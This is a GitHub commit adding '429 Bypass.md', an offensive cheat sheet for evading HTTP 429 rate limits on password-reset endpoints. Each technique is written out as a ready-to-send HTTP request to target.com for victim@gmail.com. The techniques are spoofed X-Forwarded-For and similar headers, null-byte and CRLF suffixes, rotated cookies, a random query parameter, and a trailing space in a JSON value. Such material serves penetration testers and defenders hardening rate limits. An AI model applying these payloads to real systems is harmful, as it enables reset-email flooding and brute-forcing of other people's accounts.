Update 429 Bypass.md

This commit is contained in:
Mehdi 2023-09-15 16:37:40 +03:30 committed by GitHub
parent 9ac47f3a91
commit a54e543ce1
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

97
429 Bypass.md Normal file
View File

@ -0,0 +1,97 @@
# 429 Bypass (Too Many Requests)
### Custom Header
```bash
# Try add custom headers
X-Forwarded-For : 127.0.0.1
X-Forwarded-Host : 127.0.0.1
X-Client-IP : 127.0.0.1
X-Remote-IP : 127.0.0.1
X-Remote-Addr : 127.0.0.1
X-Host : 127.0.0.1
# Try this to bypass
POST /ForgotPass.php HTTP/1.1
Host: target.com
X-Forwarded-For : 127.0.0.1
...
email=victim@gmail.com
```
### Adding Null Byte `%00` or CRLF `%09`, `%0d`, `%0a` at the end of the Email can bypass rate limit
```bash
POST /ForgotPass.php HTTP/1.1
Host: target.com
...
email=victim@gmail.com%00
```
### Try changing `user-agents`, `cookies` and `IP address`
```bash
# Normal Request (429)
POST /ForgotPass.php HTTP/1.1
Host: target.com
Cookie: xxxxxxxxxx
...
email=victim@gmail.com
# Try this to bypass (200)
POST /ForgotPass.php HTTP/1.1
Host: target.com
Cookie: aaaaaaaaaaaaa
...
email=victim@gmail.com
```
### Add a random parameter on the last endpoint
```bash
# Normal Request (429)
POST /ForgotPass.php HTTP/1.1
Host: target.com
...
email=victim@gmail.com
# Try this to bypass (200)
POST /ForgotPass.php?random HTTP/1.1
Host: target.com
...
email=victim@gmail.com
```
### Add `space` after the parameter value
```bash
# Normal Request (429)
POST /api/forgotpass HTTP/1.1
Host: target.com
...
{"email":"victim@gmail.com"}
# Try this to bypass (200)
POST /api/forgotpass HTTP/1.1
Host: target.com
...
{"email":"victim@gmail.com "}
```